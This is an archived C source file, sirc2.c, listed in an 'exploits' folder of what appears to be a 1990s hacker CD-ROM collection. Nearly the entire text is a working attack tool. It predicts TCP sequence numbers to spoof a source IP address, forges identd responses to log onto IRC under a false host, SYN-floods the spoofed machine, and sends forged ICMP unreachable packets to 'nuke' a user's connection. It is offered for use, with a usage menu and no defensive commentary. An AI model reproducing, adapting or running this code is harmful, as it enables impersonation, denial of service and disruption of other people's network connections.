home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / sirc2.c < prev    next >
Encoding:
C/C++ Source or Header  |  1997-03-11  |  18.2 KB  |  678 lines

  1. #include <sys/types.h>
  2. #include <sys/socket.h>
  3. #include <netinet/in.h>
  4. #include <netdb.h>
  5. #include <stdio.h>
  6. #include <sys/utsname.h>
  7.  
  8. #define UNREACHHOST "0.0.0.1"
  9.  
  10. int readsock,sendsock,debug=1;
  11. unsigned short ipident;
  12.  
  13. typedef struct {
  14.   struct sockaddr_in from;
  15.   struct sockaddr_in dest;
  16.   unsigned short sport; 
  17.   unsigned short dport;
  18.   unsigned long seq;
  19.   unsigned long ack;
  20. } spoofrec;
  21.  
  22. unsigned short in_cksum(unsigned short *addr, int len)             /* from ping.c */
  23. {
  24.   register int nleft = len;
  25.   register u_short *w = addr;
  26.   register int sum = 0;
  27.   u_short answer = 0;
  28.  
  29.   /*
  30.    *  Our algorithm is simple, using a 32 bit accumulator (sum),
  31.    *  we add sequential 16 bit words to it, and at the end, fold
  32.    *  back all the carry bits from the top 16 bits into the lower
  33.    *  16 bits.
  34.    */
  35.   while( nleft > 1 )  {
  36.     sum += *w++;
  37.     nleft -= 2;
  38.   }
  39.  
  40.   /* mop up an odd byte, if necessary */
  41.   if( nleft == 1 ) {
  42.     *(u_char *)(&answer) = *(u_char *)w ;
  43.     sum += answer;
  44.   }
  45.  
  46.   /*
  47.    * add back carry outs from top 16 bits to low 16 bits
  48.    */
  49.   sum = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
  50.   sum += (sum >> 16);                     /* add carry */
  51.   answer = ~sum;                          /* truncate to 16 bits */
  52.   return (answer);
  53. }
  54.  
  55. int resolve_host(char *host,struct sockaddr_in *sa)
  56. {
  57.   struct hostent *ent ;
  58.  
  59.   bzero(sa,sizeof(struct sockaddr));
  60.   sa->sin_family = AF_INET;
  61.   sa->sin_addr.s_addr = inet_addr(host);
  62.   if (inet_addr(host) == -1) {
  63.     ent = gethostbyname(host);
  64.     if (ent != NULL) {
  65.       sa->sin_family = ent->h_addrtype;
  66.       bcopy(ent->h_addr,(caddr_t)&sa->sin_addr,ent->h_length);
  67.       return(0);
  68.     } else {
  69.       fprintf(stderr,"error: unknown host %s\n",host);
  70.       return(-1);
  71.     }
  72.   }
  73.   return(0);
  74. }
  75.  
  76. typedef struct {
  77.   unsigned char vh;
  78.   unsigned char stype;
  79.   unsigned short length;
  80.   unsigned short ident;
  81.   unsigned short frag;
  82.   unsigned char ttl;
  83.   unsigned char protocol;
  84.   unsigned short cksum;
  85.   struct in_addr sip;
  86.   struct in_addr dip;
  87. } iprec;
  88.  
  89. typedef struct {
  90.   unsigned short sport;
  91.   unsigned short dport;
  92.   unsigned long seqnum;
  93.   unsigned long acknum;
  94.   unsigned short hrc;
  95.   unsigned short window;
  96.   unsigned short cksum;
  97.   unsigned short urgentptr;
  98. } tcprec;
  99.  
  100. typedef struct {
  101.   struct in_addr sip;
  102.   struct in_addr dip;
  103.   unsigned char zero;
  104.   unsigned char proto;
  105.   unsigned short tcplen;
  106. } tcpsrec;
  107.  
  108. typedef struct {
  109.   unsigned char type;
  110.   unsigned char code;
  111.   unsigned short cksum;
  112.   unsigned long zero;
  113.   iprec ip;
  114.   unsigned short sport;
  115.   unsigned short dport;
  116.   unsigned long seq;
  117. } icmprec;
  118.  
  119. #define CF_URG 0x2000
  120. #define CF_ACK 0x1000
  121. #define CF_PSH 0x0800
  122. #define CF_RST 0x0400
  123. #define CF_SYN 0x0200
  124. #define CF_FIN 0x0100
  125.  
  126. #define MAXDATA 1436
  127. #define MAXSIZE sizeof(tcpsrec)+sizeof(tcprec)+MAXDATA
  128.  
  129. unsigned short tcpcksum(spoofrec *spoof, char *b, short length)
  130. {
  131.   char buf[MAXSIZE];
  132.   tcpsrec *tcps;
  133.   
  134.   tcps=(tcpsrec *)buf;
  135.   tcps->sip=spoof->from.sin_addr;
  136.   tcps->dip=spoof->dest.sin_addr;
  137.   tcps->zero=0;
  138.   tcps->proto=6;
  139.   tcps->tcplen=htons(length);
  140.   memcpy(&buf[sizeof(tcpsrec)],(void *)b,length);
  141.   
  142.   return(in_cksum((unsigned short *)buf,sizeof(tcpsrec)+length));
  143. }
  144.  
  145. void sendicmp(spoofrec *spoof, struct sockaddr_in *from, unsigned short code)
  146. {
  147.   iprec *ip;
  148.   icmprec *icmp;
  149.   char buf[MAXSIZE];
  150.  
  151.   bzero(buf,MAXSIZE);
  152.  
  153.   ip=(iprec *)buf;
  154.   icmp=(icmprec *)&buf[sizeof(iprec)];
  155.   
  156.   ip->vh=0x45;
  157.   ip->stype=0;
  158.   ip->length=htons(sizeof(iprec)+20);
  159.   ip->ident=htons(ipident++);
  160.   ip->frag=0;
  161.   ip->ttl=64;
  162.   ip->protocol=1;
  163.   ip->cksum=0;
  164.   ip->sip=from->sin_addr;
  165.   ip->dip=spoof->dest.sin_addr;
  166.   ip->cksum=in_cksum((unsigned short *)ip,sizeof(iprec));
  167.  
  168.   icmp->type=3;
  169.   icmp->code=code;
  170.   icmp->zero=0;
  171.   icmp->ip.vh=0x45;
  172.   icmp->ip.stype=0;
  173.   icmp->ip.length=htons(sizeof(iprec)+sizeof(tcprec));
  174.   icmp->ip.ident=htons(ipident++);
  175.   icmp->ip.frag=0;
  176.   icmp->ip.ttl=64;
  177.   icmp->ip.protocol=6;
  178.   icmp->ip.cksum=0;
  179.   icmp->ip.sip=spoof->dest.sin_addr;
  180.   icmp->ip.dip=spoof->from.sin_addr;
  181.   icmp->ip.cksum=in_cksum((unsigned short *)&icmp->ip,sizeof(iprec));
  182.   icmp->sport=htons(1234);
  183.   icmp->dport=htons(6667);
  184.   icmp->seq=htonl(1000000);
  185.   icmp->cksum=0;
  186.   icmp->cksum=in_cksum((unsigned short *)icmp,sizeof(icmprec));
  187.  
  188.   if (sendto(sendsock, (void *)buf, sizeof(iprec)+sizeof(icmprec), 0, &spoof->dest, sizeof(spoof->dest)) < 0)
  189.     perror("sending message");
  190.  
  191. }
  192.  
  193. void sendtcp(spoofrec *spoof, unsigned short code, char *data, short datalen, short sn, short rep)
  194. {
  195.   iprec *ip;
  196.   tcprec *tcp;
  197.   char buf[MAXSIZE];
  198.   short i,i1,hsize,tsize=0;
  199.   unsigned long ack;
  200.  
  201.   bzero(buf,MAXSIZE);
  202.  
  203.   ip=(iprec *)buf;
  204.   tcp=(tcprec *)&buf[sizeof(iprec)];
  205.  
  206.   if (code & CF_SYN) {
  207.     hsize=6;
  208.     buf[sizeof(iprec)+20]=2;
  209.     buf[sizeof(iprec)+20+1]=4;
  210.     buf[sizeof(iprec)+20+2]=(MAXDATA>>8) & 0xFF;
  211.     buf[sizeof(iprec)+20+3]=(MAXDATA) & 0xFF;
  212.     spoof->seq++;
  213.   } else
  214.     hsize=5;
  215.  
  216.   tsize=sizeof(iprec)+(hsize*4);
  217.  
  218.   if (datalen) {
  219.     memcpy(&buf[tsize],data,datalen);
  220.     tsize+=datalen;
  221.   }
  222.  
  223.   ip->vh=0x45;
  224.   ip->stype=0;
  225.   ip->length=htons(tsize);
  226.   ip->ident=htons(ipident++);
  227.   ip->frag=0;
  228.   ip->ttl=64;
  229.   ip->protocol=6;
  230.   ip->cksum=0;
  231.   ip->sip=spoof->from.sin_addr;
  232.   ip->dip=spoof->dest.sin_addr;
  233.   ip->cksum=in_cksum((unsigned short *)ip,sizeof(iprec));
  234.  
  235.   ack=spoof->ack;
  236.  
  237.   for (i=0;i<sn;i++) {
  238.     tcp->sport=spoof->sport;
  239.     tcp->dport=spoof->dport;
  240.     tcp->seqnum=htonl(spoof->seq);
  241.     tcp->acknum=htonl(ack);
  242.     tcp->hrc=(hsize<<4) + code;
  243.     if (code & CF_SYN) 
  244.       tcp->window=htons(512);
  245.      else
  246.       tcp->window=htons(14360);
  247.     tcp->urgentptr=0;
  248.     tcp->cksum=0;
  249.     tcp->cksum=tcpcksum(spoof,(char *)tcp,tsize-sizeof(iprec));
  250.  
  251.     ack+=64000;
  252.   
  253.     for (i1=0;i1<rep;i1++) {
  254.       if (sendto(sendsock, (void *)buf, tsize, 0, &spoof->dest, sizeof(spoof->dest)) < 0)
  255.         perror("sending message");
  256.     }
  257.   }
  258.   spoof->seq+=datalen;
  259. }
  260.  
  261. short gettcp(spoofrec *spoof, tcprec *dtcp)
  262. {
  263.   int numread;
  264.   char buf[MAXSIZE];
  265.   tcprec *tcp;
  266.  
  267.   if ((numread=read(readsock,buf,MAXSIZE)) < 0) {
  268.     perror("reading from socket");
  269.     exit(1);
  270.   }
  271.   if ((buf[0]>>4) != 4) {
  272. /*    printf("Not IP packet\n"); */
  273.     return(0);
  274.   }
  275.   if (buf[9] != 6) {
  276. /*    printf("Not TCP packet\n"); */
  277.     return(0);
  278.   }
  279.  
  280.   tcp=(tcprec *)&buf[20];
  281.   if (memcmp(&spoof->dest.sin_addr,&buf[12],4)!=0) 
  282.     return(0);
  283.  
  284.   memcpy((void *)dtcp,(void *)tcp,sizeof(tcprec));
  285.   return(1); 
  286. }
  287.  
  288. void sendstring(spoofrec *spoof, char *s) 
  289. {
  290.   sendtcp(spoof,CF_ACK | CF_PSH,s,strlen(s),6,2);
  291. }
  292.  
  293. void main(int argc, char *argv[])
  294. {
  295.   int i,i1,done,mode,noflood=1,spoofidentd=1,waitidentd=0;
  296.   struct sockaddr_in name;
  297.   tcprec tcp;
  298.   spoofrec seqpred,spoof,identd,flood;
  299.   unsigned short portbase,curpos,fromport;
  300.   unsigned int lasttime,iport,starttime;
  301.   char s[81],ch,*nickname,*username,*gecos,*spoofhost,*newbbuf;
  302.   struct hostent *lookup;
  303.   struct utsname ub;
  304.   unsigned char s1[81];
  305.  
  306.   if (argc<4) {
  307.     printf("Usage: %s <your ip> <dest ip> <port> [options]\n",argv[0]);
  308.     printf("  -i [<nickname> <username@host> <gecos info>]  Log onto IRC\n");
  309.     printf("  -t <host>\t\tCreate's a telnet like connection\n");
  310.     printf("  -s <unreach host>\tTest's to see if the machine is SYN floodable\n");
  311.     printf("  -w \t\tWait for identd port before continuing\n");
  312.     printf("  -d \t\tAttempt to spoof identd\n");
  313.     printf("  -f \t\tFlood the spoof'd IP\n");
  314.     printf("  -n <host>\t\tNuke the person from this host. your ip=irc server\n\n");
  315.     printf(" If no options specified, then it will just test the machine to see if it\n");
  316.     printf("  is ip spoofable\n\n");
  317.     printf("Note: IP's can be interchanged with a hostname\n");
  318.     printf("Note: Surround the gecos field with \" to preserve the spaces\n");
  319.     exit(1);
  320.   }
  321.  
  322.   mode=0;
  323.   for (i=4;i<argc;i++) {
  324.     if ((argv[i][0]=='-') || (argv[i][0]=='/')) {
  325.       switch (toupper(argv[i][1])) { 
  326.         case 'I':
  327.           mode=1;
  328.           nickname=argv[++i];
  329.           username=argv[++i];
  330.           spoofhost=strchr(username,'@');
  331.           if (!spoofhost) {
  332.             printf("Couldn't parse %s into user and host\n",username);
  333.             exit(1);
  334.           }
  335.           *(spoofhost++)=0;
  336.           gecos=argv[++i];
  337.       if (debug) {printf("Connecting to IRC as %s - %s@%s - %s\n",nickname,username,spoofhost,gecos);}
  338.           break;
  339.         case 'T':
  340.           printf("Creating \"telnet\" connection\n");
  341.           spoofhost=argv[++i];
  342.           mode=2;
  343.           break;
  344.         case 'S':
  345.           printf("Testing host for SYN flood vulnerability\n");
  346.           spoofhost=argv[++i];
  347.           mode=3;
  348.           break;
  349.         case 'F':
  350.           noflood=0;
  351.           break;
  352.         case 'D':
  353.           spoofidentd=1;
  354.           break;
  355.         case 'W':
  356.           waitidentd=1;
  357.           break;
  358.         case 'N':
  359.           printf("Nuking host\n");
  360.           spoofhost=argv[++i];
  361.           mode=4;
  362.           break;
  363.       }
  364.     }
  365.   }
  366.  
  367.   if (noflood) {
  368.     fromport=1024+getpid();
  369.     if (fromport<1024)
  370.       fromport+=1024;
  371.   } else
  372.     fromport=7;
  373.  
  374.   if (!mode) 
  375.     printf("Testing machine for IP spoofablity\n");
  376.  
  377.   srand(time(NULL));
  378.  
  379.   /* Create socket on which to send. */
  380.   if ((sendsock = socket(AF_INET, SOCK_RAW, 255)) < 0) {
  381.     perror("opening raw send socket");
  382.     exit(1);
  383.   }
  384.  
  385.   /* Create socket on which to read. */
  386.   if ((readsock = socket(AF_INET, SOCK_RAW, 6)) < 0) {
  387.     perror("opening raw read socket");
  388.     exit(1);
  389.   }
  390.   name.sin_family=AF_INET;
  391.   name.sin_addr.s_addr=INADDR_ANY;
  392.   name.sin_port=10000;
  393.   if (bind(readsock, &name, sizeof(name))) {
  394.     perror("binding read socket");
  395.     exit(1);
  396.   }
  397.  
  398.   /* We'll resolve all of the hosts here so we won't get any delays when */
  399.   /*  we need low latency on our side */
  400.   if (resolve_host(argv[1],&seqpred.from)<0) 
  401.     exit(-1);
  402.   if (resolve_host(argv[2],&spoof.dest)<0)
  403.     exit(-1);
  404.   if (mode>0)  {
  405.     if (resolve_host(spoofhost,&spoof.from)<0)
  406.       exit(-1);
  407.     if (resolve_host(UNREACHHOST,&flood.from)<0)
  408.       exit(1);
  409.  
  410.     /* The flood dest address should be the spoof from */
  411.     if ((strcmp(spoofhost,"127.0.0.1")==0) || (strcmp(spoofhost,"localhost")==0))
  412.       flood.dest=spoof.dest;
  413.      else
  414.       flood.dest=spoof.from;
  415.   }
  416.  
  417.   /* The seq prediction dest should be spoof dest also */
  418.   seqpred.dest=spoof.dest;
  419.  
  420.   /* Print out some of the IP's */
  421.   if (debug) {printf("This IP: %d.%d.%d.%d",
  422.     ((unsigned char *)&seqpred.from.sin_addr)[0],
  423.     ((unsigned char *)&seqpred.from.sin_addr)[1],
  424.     ((unsigned char *)&seqpred.from.sin_addr)[2],
  425.     ((unsigned char *)&seqpred.from.sin_addr)[3]);}
  426.   if ((lookup = gethostbyaddr((char *)&seqpred.from.sin_addr,sizeof(long),AF_INET)) != NULL) {
  427.     if (debug) {printf(" - %s",lookup->h_name);}}
  428.   if (debug) {printf("\n");}
  429.  
  430.   if (mode > 0) {
  431.     if (debug) {printf("From IP: %d.%d.%d.%d",
  432.       ((unsigned char *)&spoof.from.sin_addr)[0],
  433.       ((unsigned char *)&spoof.from.sin_addr)[1],
  434.       ((unsigned char *)&spoof.from.sin_addr)[2],
  435.       ((unsigned char *)&spoof.from.sin_addr)[3]);}
  436.     if ((lookup = gethostbyaddr((char *)&spoof.from.sin_addr,sizeof(long),AF_INET)) != NULL) {if (debug) {printf(" - %s",lookup->h_name);}}
  437.     if (debug) {printf("\n");}
  438.   }
  439.  
  440.   if (debug) {printf("Dest IP: %d.%d.%d.%d",
  441.     ((unsigned char *)&spoof.dest.sin_addr)[0],
  442.     ((unsigned char *)&spoof.dest.sin_addr)[1],
  443.     ((unsigned char *)&spoof.dest.sin_addr)[2],
  444.     ((unsigned char *)&spoof.dest.sin_addr)[3]);}
  445.   if ((lookup = gethostbyaddr((char *)&spoof.dest.sin_addr,sizeof(long),AF_INET)) != NULL)
  446.     if (debug) {printf(" - %s",lookup->h_name);}
  447.   if (debug) {printf("\n");}
  448.  
  449.   /* Randomize some of the #'s */
  450.   ipident=rand()%20000;
  451.   spoof.seq=(rand()+10)*(rand()*10);
  452.  
  453.   /* Nuke host */
  454.   if (mode==4) {
  455.     for (i=0;i<10;i++) 
  456.       for (i1=0;i1<4;i1++)
  457.         sendicmp(&seqpred,&spoof.from,i1);
  458.     exit(1);
  459.   }
  460.  
  461.   /* Test for SYN flooding */
  462.   if (mode==3) {
  463.     printf("Now testing host\n");
  464.     setbuf(stdout,NULL);
  465.     spoof.ack=0;
  466.     spoof.dport=htons(atoi(argv[3]));
  467.     seqpred.dport=htons(atoi(argv[3]));
  468.     seqpred.sport=htons(getpid());
  469.     lasttime=0;
  470.     done=0;
  471.     starttime=time(NULL)+20;
  472.     while (!done) {
  473.       if (lasttime < time(NULL)) {
  474.         for (i=0;i<50;i++) {
  475.           spoof.sport=htons(9000+i);
  476.           sendtcp(&spoof,CF_SYN,NULL,0,1,1);
  477.         }
  478.         lasttime=time(NULL)+5;
  479.         sendtcp(&seqpred,CF_ACK,NULL,0,1,2);
  480.       }
  481.       if (starttime<time(NULL)) {
  482.         printf("Possibly SYN floodable\n");
  483.         exit(1);
  484.       }
  485.       while (gettcp(&seqpred,&tcp)) {
  486.         if (ntohs(tcp.dport)==ntohs(seqpred.sport)) {
  487.           printf("Not SYN floodable\n");
  488.           exit(1);
  489.         }
  490.       }
  491.     }
  492.   }
  493.  
  494.   /* Let's start the flood now */
  495.   if ((mode>0) && (mode<4) && (!noflood)) {
  496.     printf("Now flooding host\n");
  497.     flood.seq=spoof.seq-64000;
  498.     flood.ack=0;
  499.     flood.dport=htons(fromport);
  500.     for (i=0;i<50;i++) {
  501.       flood.sport=htons(10000-i);
  502.       sendtcp(&flood,CF_SYN,NULL,0,1,1);
  503.     }
  504. /*
  505.     flood.dport=htons(113);
  506.     for (i=0;i<50;i++) {
  507.       flood.sport=htons(11000-i);
  508.       sendtcp(&flood,CF_SYN,NULL,0,1,1);
  509.     }
  510. */
  511.   }
  512.  
  513.   /* We'll use the already made socket API to connect to the remote machine */
  514.   /*  We do this because when we connect to the machine, it will auto- */
  515.   /*  magically send out an identd request. We'll capture the source port */
  516.   /*  when we're doing the seq # pred. */
  517.   if (spoofidentd) {
  518.     seqpred.dest.sin_port=htons(atoi(argv[3]));
  519.     if ((i=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  520.       perror("Opening stream socket");
  521.       exit(1);
  522.     }
  523.     if (connect(i, &seqpred.dest, sizeof(seqpred.dest)) < 0) {
  524.       perror("Connecting stream socket");
  525.       exit(1);
  526.     }
  527.     close(i);
  528.   }
  529.  
  530.   seqpred.dport=htons(atoi(argv[3]));
  531.   if (!mode) {
  532.     portbase=1000;
  533.     for (i=0;i<10;i++) {
  534.       seqpred.sport=htons(portbase+i);
  535.       sendtcp(&seqpred,CF_SYN,NULL,0,1,1);
  536.       sendtcp(&seqpred,CF_RST,NULL,0,1,1);
  537.     }
  538.     done=0;
  539.     lasttime=0;
  540.     while (!done) {
  541.       if (gettcp(&seqpred,&tcp)) {
  542.         if ((ntohs(tcp.dport)>=portbase) && (ntohs(tcp.dport)<=(portbase+10))) {
  543.           if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
  544.             printf("Connection refused\n");
  545.             exit(1);
  546.           }
  547.           if (lasttime)
  548.             printf("%d - %lu - %lu\n",ntohs(tcp.dport),ntohl(tcp.seqnum),ntohl(tcp.seqnum)-lasttime);
  549.            else
  550.             printf("%d - %lu\n",ntohs(tcp.dport),ntohl(tcp.seqnum));
  551.           lasttime=ntohl(tcp.seqnum);
  552.         }
  553.       }
  554.     }
  555.     exit(1);
  556.   }
  557.  
  558.   if (debug) {printf("Starting sequence # prediction\n");}
  559.   portbase=(rand()%10000)+2000;
  560.   lasttime=0;
  561.   done=0;
  562.   i=0;
  563.   iport=0;
  564.   while ((!done) || (waitidentd ? !iport : 0)) {
  565.     /* Every 2 seconds, send out a SYN packet */
  566.     if (lasttime<time(NULL)) {
  567.       seqpred.sport=htons(portbase+i);
  568.       sendtcp(&seqpred,CF_SYN,NULL,0,1,1);
  569.       i++;
  570.       lasttime=time(NULL)+2;
  571.     }
  572.  
  573.     while ((gettcp(&seqpred,&tcp)) && (!done)) {
  574.       if ((ntohs(tcp.dport)==113) && (!iport)) {
  575.         iport=ntohs(tcp.sport);
  576.         if (debug) {printf("Identd port: %d\n",iport);}
  577.       }
  578.  
  579.       if (ntohs(tcp.dport)==ntohs(seqpred.sport)) {
  580.         if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
  581.           printf("Connection refused\n");
  582.           exit(1);
  583.         }
  584.         seqpred.ack=ntohl(tcp.seqnum);
  585.         done=1;
  586.       }
  587.     }
  588.   }
  589.  
  590.   if (debug) {printf("Port: %d\n",ntohs(seqpred.sport));}
  591.  
  592.   spoof.dport=seqpred.dport;
  593.   spoof.sport=htons(fromport);
  594.   spoof.seq=seqpred.seq+128000;
  595.   spoof.ack=seqpred.ack+64000;
  596.   if (debug) {printf("ACK: %lu\n",spoof.ack);}
  597.  
  598.   sendtcp(&spoof,CF_SYN,NULL,0,1,1);
  599.   sleep(1);
  600.   sendtcp(&spoof,CF_ACK,NULL,0,6,2); 
  601.  
  602.   /* Now comes the time to spoof the identd connection */
  603. /*  if ((iport) && (mode==1)) {*/
  604.     identd.from=spoof.from;
  605.     identd.dest=spoof.dest;
  606.     identd.sport=htons(113);
  607.     identd.seq=spoof.seq+128000;
  608.     if (debug) {printf("Beginning identd spoofing\n");}
  609.     for (i=0;i<25;i++) {
  610.       /* Setup some variables */
  611.       identd.dport=htons(iport+i+1);
  612.       identd.seq+=128000;
  613.       identd.ack=spoof.ack+64001;
  614.  
  615.       /* Send the connection accept packet */
  616.       sendtcp(&identd,CF_SYN | CF_ACK,NULL,0,6,2);
  617.  
  618.       /* sleep(1); */
  619.  
  620.       /* Acknowledge the packet it sends us */
  621.       /* We need to acknowledge the correct # of chars since we need to */
  622.       /*  close this connection quickly before ircII times out */
  623.       identd.ack+=5;
  624.       sprintf(s,"%d",ntohs(spoof.sport));
  625.       identd.ack+=strlen(s);
  626.       sprintf(s,"%d",ntohs(spoof.dport));
  627.       identd.ack+=strlen(s);
  628.       sendtcp(&identd,CF_ACK,NULL,0,6,2);
  629.  
  630.       /* Make our packet confirming our identity */
  631.       sprintf(s,"%hu, %hu : USERID : UNIX : %s\r\n",ntohs(spoof.sport),ntohs(spoof.dport),username);
  632.       sendstring(&identd,s);
  633.  
  634.       /* sleep(1); */
  635.  
  636.       /* And close the connection */
  637.       sendtcp(&identd,CF_FIN | CF_ACK,NULL,0,6,2);
  638.       identd.seq++;
  639.       identd.ack++;
  640.       sendtcp(&identd,CF_FIN | CF_ACK,NULL,0,6,2);
  641.     }
  642. /*  }*/
  643.  
  644.   sleep(1);
  645.   if (mode==1) {
  646.     sendstring(&spoof,"\n"); /* Send a blank line */
  647.     sprintf(s,"NICK %s\n",nickname);
  648.     sendstring(&spoof,s); /* Then the NICK */
  649.     if (debug) {printf("%s",s);}
  650.     sprintf(s,"USER %s nope nope :%s\n",username,gecos);
  651.     sendstring(&spoof,s); /* And then USER */
  652.     if (debug) {printf("%s",s);}
  653.     sprintf(s,"MODE %s +i\n",nickname);
  654.     sendstring(&spoof,s); /* And lastly the MODE */ 
  655.     if (debug) {printf("%s",s);}
  656.     if (!debug) {printf("Logging into irc server as: %s (%s@%s)\n",nickname,username,spoofhost);}
  657.   }
  658.  
  659.   done=0;
  660.   curpos=0;
  661.   while (!done) {
  662.     if (fread(&ch,sizeof(char),1,stdin)>0) {
  663.       s[curpos++]=ch;
  664.       if ((ch=='\r') || (ch=='\n')) {
  665.         s[curpos]=0;
  666.         sendstring(&spoof,s);
  667.         curpos=0;
  668.       }
  669.     }
  670.   }
  671.   
  672.   close(sendsock);
  673.   close(readsock);
  674.   printf("\n");
  675. }
  676.  
  677.  
  678.